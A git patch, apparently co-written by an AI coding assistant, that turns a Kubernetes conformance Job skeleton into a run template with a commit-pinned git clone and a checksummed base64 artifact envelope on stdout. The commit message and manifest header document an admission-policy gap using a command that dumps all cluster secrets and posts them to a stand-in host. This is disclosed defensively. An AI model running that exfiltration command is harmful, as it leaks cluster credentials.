From 6ef4def2b5255460f4d10cd60dafa4fa392a8e96 Mon Sep 17 00:00:00 2001 From: Keith Jackson Date: Tue, 29 Sep 2026 22:44:07 -0500 Subject: [PATCH 1/4] feat(conformance): the in-cluster Job can now run a named commit and get its results out MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty `emptyDir` with nothing to populate it, so the Job could never have run the suite at all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. The whole shape is dictated by a fail-closed Enforce policy (platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only `workspace` and `results` as volume names. So: * the read-only Gitea credential arrives as env from `secretKeyRef` on Secret `conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches `git` via an inline credential.helper that reads the environment, so the token is never in argv and never on disk; * `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps `readOnlyRootFilesystem: true` without a third volume and without subPath mounts (a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner); * `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the clone target and `git clone` refuses a non-empty target -- hence the new `CONF_ARTIFACTS` override, honoured only when set. The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match ^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip was. Results leave over stdout because the trigger identity has no pods/exec and admission pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits them on an EXIT trap -- a failed run still ships its red JUnit -- between markers carrying bytes, base64 line count and sha256 TWICE: === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. === `kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so a collector that makes the five documented checks cannot mistake a partial log for a complete artifact set. Verified locally: full decode round-trips; head-truncation, tail-truncation, a dropped interior line and one corrupted character are each detected; exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching `rc=` in the envelope. Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template (a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`. FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same rendered template with only the init container's args replaced by `kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3, fail 0). The escalation the policy exists to stop is still reachable one field over, and was before this Job had an init container. A security boundary changes in its own reviewed PR, so it is documented in the manifest header and in decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it. UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist (plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the clone, the credential helper and the log transport are unexercised against a cluster. `ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch. Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1 green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE UNDETERMINED, rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) --- conformance/incluster/README.md | 48 ++- conformance/incluster/chainsaw-job.yaml | 292 +++++++++++++++--- conformance/run.sh | 112 ++++++- docs/plans/l2-l3-conformance-ci-wiring.md | 22 +- .../conformance-trigger/kyverno-test.yaml | 10 +- .../tests/conformance-trigger/resources.yaml | 77 ++++- 6 files changed, 503 insertions(+), 58 deletions(-) diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index 285854c..5fe182e 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -25,12 +25,12 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). commented with the test/requirement that needs it — only as the matching fault-injection test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. -- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to - `--requirements ` (merge gate) or `--layer all --strict-coverage` (phase - exit). **Its `image:` is STALE**: it still names `ghcr.io/kyverno/chainsaw:v0.2.12`, which - (a) cannot run `./run.sh` at all and (b) is DENIED at admission. The trigger renders this - template per run with `CONFORMANCE_RUNNER_IMAGE` injected (plan §3 item 4, T-6.1b); until - that lands, treat the literal `image:` here as a placeholder, not a pin. +- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per + run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the + commit under test; artifacts leave over stdout. Its header is the authority on the + substitution tokens, the admission constraints it satisfies, and **an open security gap + in the admission policy that it documents and does not exploit** — read it before + editing either file. - `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` + `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root filesystem. This is what the Job actually needs; the stock chainsaw image carries none of @@ -61,15 +61,33 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). default verify stays offline so an air-gapped build is fully checked, not half-checked). ## Flow -1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a - trigger with narrow rights: create Job + read its logs/status — *not* a broad - kubeconfig). -2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs - `./run.sh` under `conformance-runner`. -3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` + - `coverage/` to the results volume (`/workspace/conformance/_artifacts`). -4. CI collects those artifacts (results volume or the terminating log stream, which echoes - their paths) and enforces the merge / phase-exit gate on them. +1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the + runner image digest and the commit SHA — replaces `args` with the invocation shape, and + `create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get + pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). +2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. +3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit + if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD` + equals the requested SHA** — the suite runs at the commit under test or not at all. The + read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret + `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows + no volume but `workspace` and `results`. +4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). +5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to + stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI + decodes it from `kubectl logs` and must make all five completeness checks listed above + `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead + of decoding to plausible garbage. + +## Operator prerequisites (out of GitOps — neither exists yet) +- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and + `token`: a **read-only** Gitea token for this repository. Never a write token or a + push-capable deploy key. +- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the + trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and + a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5821d30..5a27dc1 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -1,23 +1,121 @@ # ============================================================================= -# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14) +# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14) +# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3. # -# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO -# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner` -# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that -# CI collects, and enforces the merge / phase-exit gate on the outcome. +# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a +# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would +# create a permanent Job object and fight the trigger for ownership. # -# Two invocation shapes (CI sets args): -# * MERGE GATE: ./run.sh --requirements (subset) -# * PHASE EXIT: ./run.sh --layer all (full suite) +# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig — +# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log). +# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave +# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel. # -# Results artifact mechanism (delegated to WS-TEST by docs/14 open items): -# Chosen = a shared results emptyDir + a terminating log stream, with an -# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is -# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised -# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the -# results volume (or scrapes the pod log, which echoes their paths). +# ----------------------------------------------------------------------------- +# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY +# ----------------------------------------------------------------------------- +# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + +# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits +# ONLY: exactly one container on a digest-pinned conformance-runner image, +# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from +# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no +# host namespaces, non-root with privilege escalation off, and — the constraint that +# shapes everything below — NO VOLUMES BUT `workspace` AND `results`. # -# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE. +# So the git credential CANNOT be a projected/secret volume, and the init container +# cannot have a scratch volume of its own. Both are solved inside the two allowed names: +# * the credential arrives as env vars via secretKeyRef (an env var is not a volume), +# BY SECRET NAME ONLY — no token literal ever appears in this file; +# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so +# readOnlyRootFilesystem stays true without a third volume and without subPath +# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable +# by the non-root runner). +# +# Verify before changing anything here: +# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \ +# --resource \ +# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml +# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in +# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. +# +# ----------------------------------------------------------------------------- +# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! +# ----------------------------------------------------------------------------- +# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, +# replace ONLY the init container's `args` with +# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ +# and leave `containers[0]` untouched and compliant. Result: +# Applying 3 policy rule(s) to 1 resource(s)... +# pass: 3, fail: 0, warn: 0, error: 0, skip: 0 +# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never +# examined, so the exact escalation the policy exists to stop — the privileged +# conformance-runner SA executing an arbitrary command — is still reachable, one field +# over. This template's OWN init container does not exploit that; the gap is the policy's, +# and it existed before this file had an init container at all. +# +# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs +# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. +# FOLLOW-UP, in order of preference: +# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and +# add a 4th rule pinning `initContainers` to one container on the same digest-pinned +# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an +# init container carries no caller-supplied code at all and the rule is one pattern. +# 2. Failing that, a rule denying any `initContainers` entry whose image is not the +# pinned runner image — weaker (the script stays caller-supplied) but it at least +# stops an arbitrary image running as conformance-runner. +# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is +# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. +# +# ----------------------------------------------------------------------------- +# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` +# ----------------------------------------------------------------------------- +# The placeholder syntax is deliberately NOT shell syntax. The init container below is a +# bash script full of legitimate `${...}` references; running the template through +# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving +# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render +# this". Render with a two-token sed, nothing cleverer: +# +# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ +# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml +# +# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image. +# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning +# are committed literals, so the substitution cannot repoint the image at another +# repository, and the template still satisfies the policy's image pattern before +# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly. +# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container +# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder +# or an injected value is a hard failure, never a run of the wrong tree. +# +# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the +# trigger REPLACES it wholesale per invocation shape — +# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", +# "--requirements", ""] +# PHASE EXIT: ["--layer", "all", "--strict-coverage"] +# Keeping it a committed list (not a substituted scalar) is what lets this file be handed +# to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable +# ----------------------------------------------------------------------------- +# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the +# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when +# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints: +# +# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === +# +# === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === +# +# The BEGIN and END headers are byte-identical and both carry the size, the base64 line +# count and the sha256. A collector that checks all four (one BEGIN, one END, headers +# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a +# complete artifact set — which a bare blob would, because base64 decodes a truncated +# stream to plausible garbage without complaint. See the block comment above +# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations. +# +# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the +# transport is the pod's log, so the Job must finish while that log still exists. # ============================================================================= apiVersion: batch/v1 kind: Job @@ -28,7 +126,10 @@ metadata: app.kubernetes.io/part-of: conformance spec: backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry + # A retry would also re-emit the artifact envelope, giving the collector two BEGIN + # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true. ttlSecondsAfterFinished: 3600 + activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate template: metadata: labels: @@ -37,38 +138,159 @@ spec: serviceAccountName: conformance-runner # scoped test identity (rbac.yaml) restartPolicy: Never securityContext: + # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true` + # alone only *rejects* a root image, it does not choose a uid, and the runner image + # is built by a separate task (plan §5 step 1). 65532 is the conventional + # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both + # emptyDirs group-writable for that uid. runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 seccompProfile: { type: RuntimeDefault } - containers: - - name: chainsaw - # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12). - image: ghcr.io/kyverno/chainsaw:v0.2.12 - workingDir: /workspace/conformance - # The suite repo is delivered into /workspace (git clone init-container or - # a Flux-populated volume). run.sh is the single entrypoint (identical to local). - command: ["./run.sh"] - # CI overrides args per invocation shape: - # ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR - # ["--layer", "all", "--strict-coverage"] (phase exit) - args: ["--layer", "all", "--strict-coverage"] + initContainers: + # --------------------------------------------------------------------- + # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. + # + # The credential is a READ-ONLY Gitea token, referenced by secret name only. It + # reaches git through an inline credential helper that reads the ENVIRONMENT, so + # the token never appears in argv (where `ps` and the Pod spec would show it) and + # is never written to disk. + # + # `--depth 1` clones the default branch; the commit under test is usually its tip + # but must not be ASSUMED to be (the branch can advance between trigger and run, + # and a PR head is not the default branch at all). So: clone shallow, and if the + # SHA is not already present, fetch that one commit, then detach onto it and + # ASSERT HEAD equals it. The suite runs at the commit under test or not at all. + # --------------------------------------------------------------------- + - name: clone-suite-at-commit + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ + command: ["/bin/bash", "-c"] + args: + - | + set -euo pipefail + + # A bad SHA must never degrade into "ran whatever the branch tip was". + if ! printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$'; then + echo "FATAL: CONFORMANCE_GIT_SHA is not a 40-hex commit id." >&2 + echo " The CI trigger did not substitute it, or substituted junk." >&2 + exit 1 + fi + + mkdir -p "${TMPDIR}" "${HOME}" + + # git's shell credential helper: invoked as `sh -c ' get'`, so it + # reads $1 and answers from the environment only. + CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f' + + echo "==> shallow clone ${CONFORMANCE_REPO_URL}" + git -c credential.helper="${CRED}" \ + clone --depth 1 --no-tags --single-branch \ + "${CONFORMANCE_REPO_URL}" "${CONFORMANCE_SRC}" + + if ! git -C "${CONFORMANCE_SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then + echo "==> ${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit" + git -C "${CONFORMANCE_SRC}" -c credential.helper="${CRED}" \ + fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}" + fi + + git -C "${CONFORMANCE_SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}" + + head="$(git -C "${CONFORMANCE_SRC}" rev-parse HEAD)" + if [ "${head}" != "${CONFORMANCE_GIT_SHA}" ]; then + echo "FATAL: checked out ${head}, expected ${CONFORMANCE_GIT_SHA}." >&2 + exit 1 + fi + + test -x "${CONFORMANCE_SRC}/conformance/run.sh" \ + || { echo "FATAL: no executable conformance/run.sh at ${head}." >&2; exit 1; } + + echo "==> suite ready at ${head}" env: - - name: CONF_ROOT - value: /workspace/conformance + # The repository under test is a committed literal, not a substitution: a + # template that lets the trigger choose the clone URL lets it choose the code. + - name: CONFORMANCE_REPO_URL + value: https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git + - name: CONFORMANCE_SRC + value: /workspace/src + - name: CONFORMANCE_GIT_SHA + value: "@@CONFORMANCE_GIT_SHA@@" + # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a + # READ-ONLY Gitea token with read access to this one repository — never a write + # token, never a deploy key with push. Keys: `username`, `token`. + # An env var is not a volume, which is how this coexists with the admission + # policy's workspace/results-only rule. + - name: GITEA_USERNAME + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: username } + - name: GITEA_TOKEN + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: token } + # Writable scratch + HOME on the workspace emptyDir, so the root filesystem + # stays read-only and no third volume is needed. + - name: TMPDIR + value: /workspace/tmp + - name: HOME + value: /workspace/home volumeMounts: - { name: workspace, mountPath: /workspace } - - { name: results, mountPath: /workspace/conformance/_artifacts } securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: { drop: ["ALL"] } runAsNonRoot: true + resources: + requests: { cpu: 100m, memory: 128Mi } + limits: { cpu: "1", memory: 512Mi } + containers: + - name: chainsaw + # Digest-pinned under the conformance repository path — the admission policy + # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION + # (+ kubectl, git, python3, bash); see plan §5 step 1. + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ + workingDir: /workspace/src/conformance + # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact + # envelope is emitted by run.sh itself rather than by a shell one-liner here. + command: ["./run.sh"] + # Replaced wholesale by the trigger per invocation shape (see the header). + args: ["--layer", "all", "--strict-coverage"] + env: + # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the + # artifact tree onto the `results` volume. It cannot live at its default + # conformance/_artifacts, because a volume mounted inside the clone target + # would make that directory non-empty and `git clone` would refuse it. + - name: CONF_ARTIFACTS + value: /results + # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a + # base64 tar over an operator's terminal. + - name: CONF_EMIT_ARTIFACTS_TGZ + value: "1" + - name: TMPDIR + value: /workspace/tmp + - name: HOME + value: /workspace/home + volumeMounts: + - { name: workspace, mountPath: /workspace } + - { name: results, mountPath: /results } + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + runAsNonRoot: true + # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and + # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab + # node without starving the suite. + resources: + requests: { cpu: 250m, memory: 512Mi } + limits: { cpu: "2", memory: 2Gi } volumes: - # Suite source: populated by an init-container git clone of the impl repo at - # the commit under test, OR a Flux-synced source volume. (Init container - # omitted from this skeleton; wire in T-6.1b.) + # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third. + # Suite source, written by the init container: /workspace/src is the checkout, + # /workspace/tmp is $TMPDIR, /workspace/home is $HOME. - name: workspace emptyDir: {} - # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir - # for a results PVC if durability beyond pod lifetime is required. + # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope + # carries; an emptyDir is sufficient because the transport is the log, not the + # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4). - name: results emptyDir: {} diff --git a/conformance/run.sh b/conformance/run.sh index eeb440e..9d8d192 100755 --- a/conformance/run.sh +++ b/conformance/run.sh @@ -60,6 +60,17 @@ # _artifacts/status/status.md human requirement-status report (--status) # _artifacts/status/status.json machine requirement-status report (--status) # +# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml): +# CONF_ARTIFACTS= relocate the artifact tree off the default +# conformance/_artifacts (the Job mounts a `results` +# volume, which cannot sit inside the git-clone target). +# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited, +# checksummed base64 tar of the artifact tree to STDOUT, +# because `kubectl logs` is the only channel CI has out of +# the Job (no pods/exec, no kubectl cp). See the RESULTS +# TRANSPORT block below for the envelope and for the five +# checks a collector MUST make. Never set this locally. +# # Run ledger (TRACKED — commit these; --record only): # runs/-/run.log full tee'd run output (carries the sentinels) # runs/-/report.junit.xml the JUnit for that same run @@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh" # shellcheck source=versions.env source "${CONF_ROOT}/versions.env" -ARTIFACTS="${CONF_ROOT}/_artifacts" +# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see +# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default +# path, because that path is inside the directory the init container `git clone`s into and +# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so +# a local run is byte-identical to what it always was. +ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}" COVERAGE_OUT="${ARTIFACTS}/coverage" STATUS_OUT="${ARTIFACTS}/status" JUNIT_OUT="${ARTIFACTS}/report.junit.xml" @@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then exit "${RUN_RC}" fi +############################################################################### +# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable +# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1. +# +# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds +# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce + +# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the +# suite to package artifacts afterwards. And the trigger identity deliberately holds NO +# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md +# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore +# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still +# ships its JUnit — the red report is the evidence the gate needs most. +# +# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated +# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of +# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip +# may even partially unpack — silent, plausible garbage. So the envelope carries everything +# needed to PROVE completeness, and carries it TWICE: +# +# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc= bytes= lines= sha256= === +# +# === ARTIFACTS-TGZ-BASE64 END v1 rc= bytes= lines= sha256= === +# +# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE — +# never as "no artifacts", never as a pass: +# 1. exactly one BEGIN line and exactly one END line; +# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch +# means two interleaved or re-emitted envelopes in one log; +# 3. the count of body lines between them equals lines=; +# 4. the decoded byte count equals bytes=; +# 5. sha256 of the decoded bytes equals sha256=. +# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails +# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line +# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable, +# which is the whole design requirement. +# +# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it +# against the Job's completion condition instead of trusting either signal alone. +# +# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the +# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific +# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level +# entry changed with the environment would be a trap for the collector. It unpacks the +# contents wherever it likes. +# +# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so +# the collector's check (1) fails and it cannot mistake the run for one with no artifacts. +############################################################################### +CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64" +CONF_ARTIFACT_ENVELOPE_VERSION="v1" + +conf_emit_artifacts_tgz() { + local rc="${1:-0}" + # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit` + # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot + # change the run's verdict — nothing here can turn a red run green or a green run red. + trap - EXIT + ( + set +e + local tmp tgz b64 bytes lines sha payload + tmp="${TMPDIR:-/tmp}" + tgz="${tmp}/conformance-artifacts.$$.tgz" + b64="${tgz}.b64" + if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then + printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \ + "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}" + rm -f "${tgz}" + exit 0 + fi + if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then + printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \ + "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" + rm -f "${tgz}" "${b64}" + exit 0 + fi + bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')" + lines="$(wc -l < "${b64}" | tr -d '[:space:]')" + sha="$(sha256sum "${tgz}" | cut -d' ' -f1)" + payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}" + printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}" + cat "${b64}" + printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}" + rm -f "${tgz}" "${b64}" + exit 0 + ) + exit "${rc}" +} + +# Armed here, AFTER the --record re-exec above, so the recorder's parent process never +# emits a second envelope into its child's tee'd log. +if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then + trap 'conf_emit_artifacts_tgz "$?"' EXIT +fi + # --- Coverage report is always produced (cluster-independent, R-TEST-04) -------------- gen_coverage() { # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no diff --git a/docs/plans/l2-l3-conformance-ci-wiring.md b/docs/plans/l2-l3-conformance-ci-wiring.md index 4e185c2..1ce25bc 100644 --- a/docs/plans/l2-l3-conformance-ci-wiring.md +++ b/docs/plans/l2-l3-conformance-ci-wiring.md @@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). | | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. | | 